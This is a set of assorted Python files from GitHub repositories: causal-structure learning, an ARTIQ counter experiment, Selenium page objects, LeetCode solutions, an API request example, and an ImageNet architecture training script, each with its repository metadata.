{"seq_id":"3498483281","text":"import os\n\nfor (path, dir, files) in os.walk('d:/Project-NLP/현대문어_형태분석_말뭉치'):\n    for filename1 in files:\n        print(path, '\\t', dir, '\\t', filename1)\n'''\nfor (path, dir, files) in os.walk('d:/Project-NLP/현대문어_형태분석_말뭉치'):\n    for filename2 in files:\n        if '.txt' in filename2:\n            with open(path+'/'+filename2, 'r', encoding='utf-8') as f:\n                while True:\n                    line = f.readline()\n                    if not line: break\n                    if '병신' in line or \"도없는\" in line:\n                        print(line)\n'''\n\nwith open('changed_sentence_data_01.txt', 'r', encoding='utf-8') as f:\n    while True:\n        line = f.readline()\n        if not line: break\n        if '병신' in line and '없' in line:\n            print(line)\n","repo_name":"JeeYz/git_from_the_hell","sub_path":"search_directories_and_detect_specific_sentence_00.py","file_name":"search_directories_and_detect_specific_sentence_00.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"28867402589","text":"import os\nimport logging\nimport random\nimport numpy as np\nimport torch\n\nfrom castle.common.base import BaseLearner, Tensor\nfrom .trainers.al_trainer import Trainer\nfrom .models.masked_model import MaskedModel\nfrom .helpers.utils import callback_after_training\nfrom castle.common.consts import MCSL_VALID_PARAMS\nfrom castle.common.validator import check_args_value\n\n\ndef set_seed(seed):\n    \"\"\"\n    Referred from:\n    - https://stackoverflow.com/questions/38469632/tensorflow-non-repeatable-results\n    \"\"\"\n\n    random.seed(seed)\n    np.random.seed(seed)\n    torch.manual_seed(seed)\n    try:\n        os.environ['PYTHONHASHSEED'] = str(seed)\n    finally:\n        pass\n\n\nclass MCSL(BaseLearner):\n    \"\"\"\n    Masked Gradient-Based Causal Structure Learning\n\n    A gradient-based algorithm for non-linear additive noise data by learning\n    the binary adjacency matrix.\n\n    Parameters\n    ----------\n    model_type: str, default: 'nn'\n        `nn` denotes neural network, `qr` denotes quatratic regression.\n    num_hidden_layers: int, default: 4\n        Number of hidden layer in neural network when `model_type` is 'nn'.\n    hidden_dim: int, default: 16\n        Number of hidden dimension in hidden layer, when `model_type` is 'nn'.\n    graph_thresh: float, default: 0.5\n        Threshold used to determine whether has edge in graph, element greater\n        than the `graph_thresh` means has a directed edge, otherwise has not.\n    l1_graph_penalty: float, default: 2e-3\n        Penalty weight for L1 normalization\n    learning_rate: float, default: 3e-2\n        learning rate for opitimizer\n    max_iter: int, default: 25\n        Number of iterations for optimization problem\n    iter_step: int, default: 1000\n        Number of steps for each iteration\n    init_iter: int, default: 2\n        Initial iteration to disallow early stopping\n    h_tol: float, default: 1e-10\n        Tolerance of optimization problem\n    init_rho: float, default: 1e-5\n        Initial value for penalty parameter.\n    rho_thresh: float, default: 1e14\n        Threshold for penalty parameter.\n    h_thresh: float, default: 0.25\n        Threshold for h\n    rho_multiply: float, default: 10.0\n        Multiplication to amplify rho each time\n    temperature: float, default: 0.2\n        Temperature for gumbel sigmoid\n    device_type: str, default: 'cpu'\n        'cpu' or 'gpu'\n    device_ids: int or str, default '0'\n        CUDA devices, it's effective when ``use_gpu`` is True.\n        For single-device modules, ``device_ids`` can be int or str, e.g. 0 or '0',\n        For multi-device modules, ``device_ids`` must be str, format like '0, 1'.\n    random_seed: int, default: 1230\n        random seed for every random value\n\n    References\n    ----------\n    https://arxiv.org/abs/1910.08527\n\n    Examples\n    --------\n    >>> from castle.algorithms import MCSL\n    >>> from castle.datasets import load_dataset\n    >>> from castle.common import GraphDAG\n    >>> from castle.metrics import MetricsDAG\n    >>> true_dag, X = load_dataset(name='iid_test')\n    >>> n = MCSL(iter_step=1000, rho_thres=1e14, init_rho=1e-5,\n    ...          rho_multiply=10, graph_thres=0.5, l1_graph_penalty=2e-3)\n    >>> n.learn(X)\n    >>> GraphDAG(n.causal_matrix, true_dag)\n    >>> met = MetricsDAG(n.causal_matrix, true_dag)\n    >>> print(met.metrics)\n    \"\"\"\n\n    @check_args_value(MCSL_VALID_PARAMS)\n    def __init__(self, model_type='nn', num_hidden_layers=4, hidden_dim=16,\n                 graph_thresh=0.5, l1_graph_penalty=2e-3, learning_rate=3e-2,\n                 max_iter=25, iter_step=1000, init_iter=2, h_tol=1e-10,\n                 init_rho=1e-5, rho_thresh=1e14, h_thresh=0.25,\n                 rho_multiply=10, temperature=0.2, device_type='cpu',\n                 device_ids='0', random_seed=1230) -> None:\n        super(MCSL, self).__init__()\n\n        self.model_type = model_type\n        self.num_hidden_layers = num_hidden_layers\n        self.hidden_dim = hidden_dim\n        self.graph_thresh = graph_thresh\n        self.l1_graph_penalty = l1_graph_penalty\n        self.learning_rate = learning_rate\n        self.max_iter = max_iter\n        self.iter_step = iter_step\n        self.init_iter = init_iter\n        self.h_tol = h_tol\n        self.init_rho = init_rho\n        self.rho_thresh = rho_thresh\n        self.h_thresh = h_thresh\n        self.rho_multiply = rho_multiply\n        self.temperature = temperature\n        self.device_type = device_type\n        self.device_ids = device_ids\n        self.random_seed = random_seed\n\n        if torch.cuda.is_available():\n            logging.info('GPU is available.')\n        else:\n            logging.info('GPU is unavailable.')\n            if self.device_type == 'gpu':\n                raise ValueError(\"GPU is unavailable, \"\n                                 \"please set device_type = 'cpu'.\")\n        if self.device_type == 'gpu':\n            if self.device_ids:\n                os.environ['CUDA_VISIBLE_DEVICES'] = str(self.device_ids)\n            device = torch.device('cuda')\n        else:\n            device = torch.device('cpu')\n        self.device = device\n\n    def learn(self, data, columns=None, pns_mask=None, **kwargs) -> None:\n        \"\"\"\n        Set up and run the MCSL algorithm.\n\n        Parameters\n        ----------\n        data: castle.Tensor or numpy.ndarray\n            The castle.Tensor or numpy.ndarray format data you want to learn.\n        columns: Index or array-like\n            Column labels to use for resulting tensor. Will default to\n            RangeIndex (0, 1, 2, ..., n) if no column labels are provided.\n        pns_mask: array_like or None\n            The mask matrix.\n            array with element in {0, 1}, ``0`` denotes has no edge in i -> j,\n            ``1`` denotes maybe has edge in i -> j or not.\n        \"\"\"\n\n        x = Tensor(data, columns=columns)\n\n        self.n_samples, self.n_nodes = x.shape\n        if pns_mask is None:\n            pns_mask = torch.ones([x.shape[1], x.shape[1]], device=self.device)\n        else:\n            pns_mask = torch.tensor(pns_mask, device=self.device)\n\n        causal_matrix, causal_matrix_weight = self._mcsl(x, pns_mask)\n\n        self.causal_matrix_weight = Tensor(causal_matrix_weight,\n                                           index=x.columns,\n                                           columns=x.columns\n                                           )\n        self.causal_matrix = Tensor(causal_matrix,\n                                    index=x.columns,\n                                    columns=x.columns\n                                    )\n\n    def _mcsl(self, x, pns_mask) -> tuple:\n        \"\"\"\n        Starting model of MCSL.\n\n        Parameters\n        ----------\n        x: torch.Tensor\n            The torch.Tensor data you want to learn.\n        pns_mask: torch.Tensor\n            The mask matrix.\n        \"\"\"\n\n        set_seed(self.random_seed)\n\n        model = MaskedModel(model_type=self.model_type,\n                            n_samples=self.n_samples,\n                            n_nodes=self.n_nodes,\n                            pns_mask=pns_mask,\n                            num_hidden_layers=self.num_hidden_layers,\n                            hidden_dim=self.hidden_dim,\n                            l1_graph_penalty=self.l1_graph_penalty,\n                            seed=self.random_seed,\n                            device=self.device)\n        trainer = Trainer(model=model,\n                          learning_rate=self.learning_rate,\n                          init_rho=self.init_rho,\n                          rho_thresh=self.rho_thresh,\n                          h_thresh=self.h_thresh,\n                          rho_multiply=self.rho_multiply,\n                          init_iter=self.init_iter,\n                          h_tol=self.h_tol,\n                          temperature=self.temperature,\n                          device=self.device)\n\n        if not isinstance(x, torch.Tensor):\n            x = torch.tensor(x, device=self.device)\n        w_logits = trainer.train(x, self.max_iter, self.iter_step)\n\n        w_est, w_est_weight = callback_after_training(w_logits,\n                                                      self.temperature,\n                                                      self.graph_thresh)\n        return w_est.detach().cpu().numpy(), w_est_weight.detach().cpu().numpy()\n","repo_name":"huawei-noah/trustworthyAI","sub_path":"gcastle/castle/algorithms/gradient/mcsl/torch/mcsl.py","file_name":"mcsl.py","file_ext":"py","file_size_in_byte":8330,"program_lang":"python","lang":"en","doc_type":"code","stars":830,"dataset":"github-code","pt":"47"}
{"seq_id":"26668733717","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\n\nclass BasePage():\n    BASE_URL = \"<Enter URL Here>\"\n\n    PAGE_URLS = {\n        \"home\": BASE_URL + \"/\",\n        \"checkboxes\": BASE_URL + \"/checkboxes\",\n        \"dropdown\": BASE_URL + \"/dropdown\",\n        \"dynamic controls\": BASE_URL + \"/dynamic_controls\",\n        \"form authentication\": BASE_URL + \"/login\",\n        \"inputs\": BASE_URL + \"/inputs\",\n        \"secure area\": BASE_URL + \"/secure\"\n    }\n\n    def __int__(self, browser):\n        self.browser = browser","repo_name":"Shamitty/DockerPytest","sub_path":"pages/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"32173993632","text":"from artiq.experiment import *\nfrom numpy import zeros, arange, mean, std, int32\n\n_DMA_HANDLE = 'PMT_exp'\n\n\nclass counter_read(EnvExperiment):\n    \"\"\"\n    Utility: Counter Read\n\n    Read TTL counts over time.\n    \"\"\"\n    kernel_invariants = {\n        'time_bin_mu',\n        'time_reset_mu'\n    }\n\n    def build(self):\n        \"\"\"\n        Set devices and arguments for the experiment.\n        \"\"\"\n        self.setattr_device(\"core\")\n        self.setattr_device(\"core_dma\")\n\n        # timing\n        self.setattr_argument('time_total_s',                       NumberValue(default=10000, ndecimals=6, step=1, min=0, max=100000))\n        self.setattr_argument('time_bin_us',                        NumberValue(default=500, ndecimals=3, step=1, min=0.01, max=10000000))\n        self.setattr_argument(\"sample_rate_hz\",                     NumberValue(default=1000, ndecimals=3, step=1, min=1, max=100000))\n\n        # PMT\n        self.setattr_argument(\"pmt_input_channel\",                  NumberValue(default=0, ndecimals=0, step=1, min=0, max=7))\n        self.setattr_argument(\"pmt_gating_edge\",                    EnumerationValue([\"rising\", \"falling\", \"both\"], default=\"rising\"))\n\n\n    def prepare(self):\n        \"\"\"\n        Set up the dataset and prepare things such that the kernel functions have minimal overhead.\n        \"\"\"\n        # PMT devices\n        self.pmt_counter =                                          self.get_device(\"ttl{:d}_counter\".format(self.pmt_input_channel))\n        self.pmt_gating_edge =                                      getattr(self.pmt_counter, 'gate_{:s}_mu'.format(self.pmt_gating_edge))\n\n        # iterators\n        self.loop_iter =                                            arange(self.time_total_s * self.sample_rate_hz, dtype=int32)\n\n        # timing\n        self.time_bin_mu =                                          self.core.seconds_to_mu(self.time_bin_us * us)\n        self.time_reset_mu =                                        self.core.seconds_to_mu(1 / self.sample_rate_hz - self.time_bin_us * us)\n\n        # set up datasets\n        self.set_dataset('pmt_dataset',                             zeros(len(self.loop_iter)))\n        self.setattr_dataset('pmt_dataset')\n\n    @kernel\n    def run(self):\n        \"\"\"\n        Run the experimental sequence.\n        \"\"\"\n        self.core.reset()\n\n        # program pulse sequence onto core DMA\n        self.DMArecord()\n        self.core.break_realtime()\n\n        # retrieve pulse sequence handle\n        handle = self.core_dma.get_handle(_DMA_HANDLE)\n        self.core.break_realtime()\n\n        # run the experiment\n        for i in self.loop_iter:\n\n            # run pulse sequence from core DMA\n            self.core_dma.playback_handle(handle)\n\n            # record pmt counts to dataset\n            with parallel:\n                self.mutate_dataset('pmt_dataset', i, self.pmt_counter.fetch_count())\n                delay_mu(self.time_reset_mu)\n\n    @kernel\n    def DMArecord(self):\n        \"\"\"\n        Record onto core DMA the AOM sequence for a single data point.\n        \"\"\"\n        with self.core_dma.record(_DMA_HANDLE):\n            self.pmt_gating_edge(self.time_bin_mu)\n\n\n    def analyze(self):\n        \"\"\"\n        Analyze the results from the experiment.\n        \"\"\"\n        # print results\n        print('\\tCounts: {:.3f} +/- {:.3f}'.format(mean(self.pmt_dataset), std(self.pmt_dataset)))\n","repo_name":"EGGS-Experiment/LAX_exp","sub_path":"utilities/counter_read.py","file_name":"counter_read.py","file_ext":"py","file_size_in_byte":3389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"42449059260","text":"import asyncio\n\nfrom hiss.handler import gntp, snp, xbmc\n\nSCHEME_HANDLERS = {\n    'gntp': gntp.GNTPHandler,\n    'snp': snp.SNPHandler,\n    'xbmc': xbmc.XBMCHandler,\n}\n\nclass Nub(object):\n    \"\"\"If a message arrives from any of the registered targets then\n    send it on to the other targets.\n    \n    Notifications can be filtered per target.\n    \"\"\"\n\n    def __init__(self, targets=[]):\n        self._targets = []\n        self._handlers = {}\n        \n        for target in targets:\n            self.add_target(target)\n        \n    @asyncio.coroutine\n    def async_handler(self, target):\n        target.handler.subscribe()\n    \n    def go(self):\n        \"\"\"Connect to all targets\n        \"\"\"\n        asyncio.Task\n    \n    def add_target(self, target):\n        if target in self._targets:\n            return\n        \n        scheme = target.scheme\n        if scheme not in self._handlers:\n            handler = SCHEME_HANDLERS[scheme]()\n            self._handlers[scheme] = handler\n        \n        target.handler = self._handlers[scheme]\n        self._targets.append(target)\n        ","repo_name":"sffjunkie/hiss","sub_path":"src/working/nub.py","file_name":"nub.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"38322037138","text":"import jsonpatch\nimport re\nfrom cedar.utils import general_utils as utils\n\n\nclass RemoveValueFromPropertiesPatch(object):\n\n    def __init__(self):\n        self.description = \"Remove the invalid @value property\"\n        self.from_version = \"1.0.0\"\n        self.to_version = \"1.1.0\"\n\n    def is_applied(self, error_message, doc=None):\n        if not utils.is_compatible(doc, self.from_version):\n            return False\n        pattern = re.compile(\n            \"object has invalid properties \\(\\['@value'\\]\\) \" \\\n            \"at ((/properties/[^/]+/items)*(/properties/[^/]+)*)*/properties$\" \\\n            \"|\" \\\n            \"object instance has properties which are not allowed by the schema: \\['@value'\\] \" \\\n            \"at ((/properties/[^/]+/items)*(/properties/[^/]+)*)*/properties$\")\n        return pattern.match(error_message)\n\n    def apply_patch(self, doc, error_message):\n        patch = self.get_patch(error_message, doc)\n        patched_doc = patch.apply(doc)\n        return patched_doc\n\n    @staticmethod\n    def get_patch(error_message, doc=None):\n        path = utils.get_error_location(error_message)\n        patches = [{\n            \"op\": \"remove\",\n            \"path\": path + \"/@value\"\n        }]\n        # Remove @value from required list, if possible\n        parent_object, parent_path = utils.get_parent_object(doc, path)\n        required_list = parent_object.get(\"required\")\n        if required_list:\n            patches.append({\n                \"op\": \"replace\",\n                \"value\": [item for item in required_list if item != \"@value\"],\n                \"path\": parent_path + \"/required\"\n            })\n        return jsonpatch.JsonPatch(patches)\n","repo_name":"metadatacenter/cedar-util","sub_path":"scripts/python/cedar/patch/collection/RemoveValueFromPropertiesPatch.py","file_name":"RemoveValueFromPropertiesPatch.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"19584102299","text":"nums = [4,3,10,9,8]\n# # nums = [4,4,7,6,7]\n\n\ndef minSubsequence(nums):\n    nums.sort()\n    sumOfVal = sum(nums)\n    ls= []\n    for i in range(len(nums)-1,-1,-1):\n        ls.append(nums[i])\n        if sum(ls) > sumOfVal-sum(ls):\n            return ls\n    return ls\n    \n   \nprint(minSubsequence(nums))\n","repo_name":"Parikalp-Bhardwaj/Dsa-golang-python","sub_path":"Minimum_Subsequence_in_Non_Increasing_Order/Minimum_Subsequence_in_Non_Increasing_Order.py","file_name":"Minimum_Subsequence_in_Non_Increasing_Order.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"17086329642","text":"import os\nimport glob\n\n\ndef removeFiles():\n    # remove old executable files\n    files_exe = glob.glob('instance/downloads/*')\n    for f in files_exe:\n        os.remove(f)\n\n    # remove old CVS files\n    files_csv = glob.glob('instance/testCSV/*')\n    for f_cs in files_csv:\n        os.remove(f_cs)\n\n    # remove old json files\n    files_json = glob.glob('instance/result/*')\n    for f_js in files_json:\n        os.remove(f_js)\n\n    print(\"Previous session files removed\")\n","repo_name":"makvertico/Malware-Classification-ML-WebApplication","sub_path":"ml_scripts/remove.py","file_name":"remove.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"72294800464","text":"class Solution:\n    def canFinish(self, numCourses: int, prerequisites: List[List[int]]) -> bool:\n        graph = {i:[] for i in range(numCourses)}\n        visited = set()\n        visiting = set()\n        for a, b in prerequisites:\n            graph[a].append(b)\n\n        for node in graph:\n            if self.hasCycle(graph, node, visited, visiting):\n                return False\n        return True\n        \n        \n    def hasCycle(self, graph, node, visited, visiting):\n        if node in visited:\n            return False\n        \n        if node in visiting:\n            return True\n        \n        visiting.add(node)\n        \n        for nei in graph[node]:\n            if self.hasCycle(graph, nei, visited, visiting):\n                return True\n        \n        visited.add(node)\n        visiting.remove(node)\n        return False","repo_name":"equan1090/DataStructures_Algorithms","sub_path":"207-course-schedule/207-course-schedule.py","file_name":"207-course-schedule.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"17928574080","text":"import pprint\nimport os\nimport sys\n\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\n\nfrom request import BaseRequest\nfrom dotenv import dotenv_values\n\nconfig = dotenv_values()\n\n# Example of GET /filing-products/offerings\n\nclass GetFilingProductsOfferingsRequest(BaseRequest):\n    def __init__(self):\n        super().__init__()\n    \n    def get_filing_products_offerings(self, company_id, jurisdiction):\n        params = {\n            'company_id': company_id,\n            'jurisdiction': jurisdiction\n        }\n        return self.make_request('GET', '/filing-products/offerings', params=params)\n\n# run as standalone script by passing any command line argument\nif len(sys.argv) > 1:\n    company_id = config['COMPANY_ID']\n    jurisdiction = config['JURISDICTION']\n\n    request = GetFilingProductsOfferingsRequest()\n    response = request.get_filing_products_offerings(company_id, jurisdiction)\n\n    pprint.pprint(response)","repo_name":"corptools-api/CorpTools-API-Examples","sub_path":"python/examples/get_filing_products_offerings.py","file_name":"get_filing_products_offerings.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"}
{"seq_id":"6733407403","text":"import os\nimport sys\nimport numpy as np\nimport time\nimport torch\nimport utils\nimport glob\nimport random\nimport logging\nimport argparse\nimport torch.nn as nn\nimport genotypes\nimport torch.utils\nimport torchvision.datasets as dset\nimport torchvision.transforms as transforms\nimport torch.backends.cudnn as cudnn\n\nfrom torch.autograd import Variable\nfrom model import NetworkImageNet as Network\nfrom thop import profile\n\n\nparser = argparse.ArgumentParser(\"imagenet\")\nparser.add_argument('--data', type=str, default='~/imagenet/', help='location of the data corpus')\nparser.add_argument('--batch_size', type=int, default=640, help='batch size') # two V100 GPUs\nparser.add_argument('--learning_rate', type=float, default=0.1, help='init learning rate')\nparser.add_argument('--momentum', type=float, default=0.9, help='momentum')\nparser.add_argument('--weight_decay', type=float, default=3e-5, help='weight decay')\nparser.add_argument('--report_freq', type=float, default=100, help='report frequency')\nparser.add_argument('--epochs', type=int, default=250, help='num of training epochs')\nparser.add_argument('--init_channels', type=int, default=48, help='num of init channels')\nparser.add_argument('--layers', type=int, default=14, help='total number of layers')\nparser.add_argument('--auxiliary', action='store_true', default=False, help='use auxiliary tower')\nparser.add_argument('--auxiliary_weight', type=float, default=0.4, help='weight for auxiliary loss')\nparser.add_argument('--drop_path_prob', type=float, default=0, help='drop path probability')\nparser.add_argument('--save', type=str, default='EXP', help='experiment name')\nparser.add_argument('--seed', type=int, default=0, help='random seed')\nparser.add_argument('--arch', type=str, default='DARTS', help='which architecture to use')\nparser.add_argument('--grad_clip', type=float, default=5., help='gradient clipping')\nparser.add_argument('--label_smooth', type=float, default=0.1, help='label smoothing')\nparser.add_argument('--lr_scheduler', type=str, default='linear', help='lr scheduler, [step, linear, cosine]')\nparser.add_argument('--gamma', type=float, default=0.97, help='learning rate decay') # cosine scheduler\nparser.add_argument('--decay_period', type=int, default=1, help='epochs between two learning rate decays') # cosine scheduler\nparser.add_argument('--gpu', type=int, default=0, help='gpu device id')\nparser.add_argument('--parallel', action='store_true', default=False, help='data parallelism')\nparser.add_argument('--resume', type=str, default=None, help='restart training from the given checkpoint')\nargs = parser.parse_args()\n\nargs.save = 'eval-imagenet-{}-{}'.format(args.save, time.strftime(\"%Y%m%d-%H%M%S\"))\nutils.create_exp_dir(args.save, scripts_to_save=glob.glob('*.py'))\n\nlog_format = '%(asctime)s %(message)s'\nlogging.basicConfig(stream=sys.stdout, level=logging.INFO,\n    format=log_format, datefmt='%m/%d %I:%M:%S %p')\nfh = logging.FileHandler(os.path.join(args.save, 'log.txt'))\nfh.setFormatter(logging.Formatter(log_format))\nlogging.getLogger().addHandler(fh)\n\nCLASSES = 1000\n\n\nclass CrossEntropyLabelSmooth(nn.Module):\n\n  def __init__(self, num_classes, epsilon):\n    super(CrossEntropyLabelSmooth, self).__init__()\n    self.num_classes = num_classes\n    self.epsilon = epsilon\n    self.logsoftmax = nn.LogSoftmax(dim=1)\n\n  def forward(self, inputs, targets):\n    log_probs = self.logsoftmax(inputs)\n    targets = torch.zeros_like(log_probs).scatter_(1, targets.unsqueeze(1), 1)\n    targets = (1 - self.epsilon) * targets + self.epsilon / self.num_classes\n    loss = (-targets * log_probs).mean(0).sum()\n    return loss\n\n\ndef main():\n  if not torch.cuda.is_available():\n    logging.info('no gpu device available')\n    sys.exit(1)\n\n  np.random.seed(args.seed)\n  if args.parallel: # multi gpu\n    num_gpus = torch.cuda.device_count()\n    logging.info('num of gpu devices = %d' % num_gpus)\n  else: # single gpu\n    torch.cuda.set_device(args.gpu)\n    logging.info('gpu device = %d' % args.gpu)\n  cudnn.benchmark = True\n  torch.manual_seed(args.seed)\n  cudnn.enabled=True\n  torch.cuda.manual_seed(args.seed)\n  logging.info(\"args = %s\", args)\n\n  genotype = eval(\"genotypes.%s\" % args.arch)\n  model = Network(args.init_channels, CLASSES, args.layers, args.auxiliary, genotype)\n  flops, params = profile(model, inputs=(torch.randn(1,3,224,224),), verbose=False)\n  logging.info(\"thop: flops = %fM, params = %fM\", flops/1e6, params/1e6)\n\n  if args.parallel:\n    model = nn.DataParallel(model).cuda()\n  else:\n    model = model.cuda()\n\n  logging.info(\"param size = %fMB\", utils.count_parameters_in_MB(model))\n\n  criterion = nn.CrossEntropyLoss()\n  criterion = criterion.cuda()\n  criterion_smooth = CrossEntropyLabelSmooth(CLASSES, args.label_smooth)\n  criterion_smooth = criterion_smooth.cuda()\n\n  optimizer = torch.optim.SGD(\n    model.parameters(),\n    args.learning_rate,\n    momentum=args.momentum,\n    weight_decay=args.weight_decay\n    )\n\n  traindir = os.path.join(args.data, 'train')\n  validdir = os.path.join(args.data, 'val')\n  normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n  train_data = dset.ImageFolder(\n    traindir,\n    transforms.Compose([\n      transforms.RandomResizedCrop(224),\n      transforms.RandomHorizontalFlip(),\n      transforms.ColorJitter(\n        brightness=0.4,\n        contrast=0.4,\n        saturation=0.4,\n        hue=0.2),\n      transforms.ToTensor(),\n      normalize,\n    ]))\n  valid_data = dset.ImageFolder(\n    validdir,\n    transforms.Compose([\n      transforms.Resize(256),\n      transforms.CenterCrop(224),\n      transforms.ToTensor(),\n      normalize,\n    ]))\n\n  train_queue = torch.utils.data.DataLoader(\n    train_data, batch_size=args.batch_size, shuffle=True, pin_memory=True, num_workers=16)\n\n  valid_queue = torch.utils.data.DataLoader(\n    valid_data, batch_size=args.batch_size, shuffle=False, pin_memory=True, num_workers=4)\n\n  if args.lr_scheduler == 'step':\n    # DARTS code\n    scheduler = torch.optim.lr_scheduler.StepLR(optimizer, args.decay_period, gamma=args.gamma)\n  elif args.lr_scheduler == 'cosine' or args.lr_scheduler == 'linear':\n    # PCDARTS code\n    scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, float(args.epochs))\n  else:\n    raise ValueError(\"Wrong learning rate scheduler\")\n\n  # ---- resume ---- #\n  start_epoch = 0\n  best_acc_top1 = 0.0 \n  best_acc_top5 = 0.0 \n  best_acc_epoch = 0\n  if args.resume:\n    # in multi-gpu???\n    if os.path.isfile(args.resume):\n      logging.info(\"=> loading checkpoint {}\".format(args.resume))\n      device = torch.device(\"cuda\")\n      checkpoint = torch.load(args.resume, map_location=device)\n      start_epoch = checkpoint['epoch']\n      best_acc_top1 = checkpoint['best_acc_top1']\n      best_acc_top5 = checkpoint['best_acc_top5']\n      best_acc_epoch = checkpoint['best_acc_epoch']\n      model.load_state_dict(checkpoint['state_dict'])\n      optimizer.load_state_dict(checkpoint['optimizer'])\n      logging.info(\"=> loaded checkpoint {} (trained until epoch {})\".format(args.resume, start_epoch-1))\n    else:\n      raise ValueError(\"Wrong args.resume\")\n  else:\n        logging.info(\"=> training from scratch\")\n\n  for epoch in range(start_epoch, args.epochs):\n    scheduler.step()\n    if args.lr_scheduler == 'cosine' or args.lr_scheduler == 'step':\n      scheduler.step()\n      current_lr = scheduler.get_lr()[0]\n    elif args.lr_scheduler == 'linear':\n      current_lr = adjust_lr(optimizer, epoch)\n    else:\n      raise ValueError(\"wrong learning rate scheduler\")\n\n    if epoch < 5 and args.batch_size > 256:\n      for param_group in optimizer.param_groups:\n        param_group['lr'] = args.learning_rate * (epoch + 1) / 5.0\n      logging.info('Warming-up epoch: %d, LR: %e', epoch, args.learning_rate * (epoch + 1) / 5.0)\n    else:\n      logging.info('epoch %d lr %e', epoch, current_lr)\n\n    if args.parallel:\n      model.module.drop_path_prob = args.drop_path_prob * epoch / args.epochs\n    else:\n      model.drop_path_prob = args.drop_path_prob * epoch / args.epochs\n\n    epoch_start = time.time()\n    train_acc, train_obj = train(train_queue, model, criterion_smooth, optimizer)\n    logging.info('train_acc %f', train_acc)\n\n    if epoch > 150:\n      valid_acc_top1, valid_acc_top5, valid_obj = infer(valid_queue, model, criterion)\n      is_best = (valid_acc_top1 > best_acc_top1)\n      if is_best:\n        best_acc_top1 = valid_acc_top1\n        best_acc_top5 = valid_acc_top5\n        best_acc_epoch = epoch + 1\n        utils.save(model, os.path.join(args.save, 'best_weights.pt'))\n      logging.info('valid_acc %f %f, best_acc %f %f (at epoch %d)', valid_acc_top1, valid_acc_top5, best_acc_top1, best_acc_top5, best_acc_epoch)\n    else:\n      is_best = False\n    logging.info('epoch time %d sec.', time.time() - epoch_start)\n\n    utils.save_checkpoint({\n      'epoch': epoch + 1,\n      'best_acc_top1': best_acc_top1,\n      'best_acc_top5': best_acc_top5,\n      'best_acc_epoch': best_acc_epoch, \n      'state_dict': model.state_dict(),\n      'optimizer' : optimizer.state_dict(),\n      }, is_best, args.save)\n\ndef adjust_lr(optimizer, epoch):\n  # Smaller slope for the last 5 epochs because lr * 1/250 is relatively large\n  if args.epochs -  epoch > 5:\n    lr = args.learning_rate * (args.epochs - 5 - epoch) / (args.epochs - 5)\n  else:\n    lr = args.learning_rate * (args.epochs - epoch) / ((args.epochs - 5) * 5)\n  for param_group in optimizer.param_groups:\n    param_group['lr'] = lr\n  return lr\n\ndef train(train_queue, model, criterion, optimizer):\n  objs = utils.AverageMeter()\n  top1 = utils.AverageMeter()\n  top5 = utils.AverageMeter()\n  batch_time = utils.AverageMeter()\n  model.train()\n\n  num_steps = len(train_queue)\n  for step, (input, target) in enumerate(train_queue):\n    target = target.cuda(non_blocking=True)\n    input = input.cuda(non_blocking=True)\n\n    batch_start = time.time()\n\n    optimizer.zero_grad()\n    logits, logits_aux = model(input)\n    loss = criterion(logits, target)\n    if args.auxiliary:\n      loss_aux = criterion(logits_aux, target)\n      loss += args.auxiliary_weight*loss_aux\n\n    loss.backward()\n    nn.utils.clip_grad_norm(model.parameters(), args.grad_clip)\n    optimizer.step()\n\n    prec1, prec5 = utils.accuracy(logits, target, topk=(1, 5))\n    n = input.size(0)\n    objs.update(loss.item(), n)\n    top1.update(prec1.item(), n)\n    top5.update(prec5.item(), n)\n\n    batch_time.update(time.time() - batch_start)\n    if step % args.report_freq == 0 or step == num_steps:\n      logging.info('train (%03d/%d) loss: %e top1: %f top5: %f batchtime: %.2f sec', step, num_steps, objs.avg, top1.avg, top5.avg, batch_time.avg)\n\n  return top1.avg, objs.avg\n\n\ndef infer(valid_queue, model, criterion):\n  objs = utils.AverageMeter()\n  top1 = utils.AverageMeter()\n  top5 = utils.AverageMeter()\n  model.eval()\n\n  num_steps = len(valid_queue)\n  with torch.no_grad():\n    for step, (input, target) in enumerate(valid_queue):\n      input = input.cuda(non_blocking=True)\n      target = target.cuda(non_blocking=True)\n\n      logits, _ = model(input)\n      loss = criterion(logits, target)\n\n      prec1, prec5 = utils.accuracy(logits, target, topk=(1, 5))\n      n = input.size(0)\n      objs.update(loss.item(), n)\n      top1.update(prec1.item(), n)\n      top5.update(prec5.item(), n)\n\n      if step % args.report_freq == 0 or step == num_steps:\n        logging.info('valid (%03d/%d) loss: %e top1: %f top5: %f', step, num_steps, objs.avg, top1.avg, top5.avg)\n\n  return top1.avg, top5.avg, objs.avg\n\n\nif __name__ == '__main__':\n  main() \n","repo_name":"nabk89/NAS-with-Proxy-data","sub_path":"train_imagenet.py","file_name":"train_imagenet.py","file_ext":"py","file_size_in_byte":11517,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"47"}
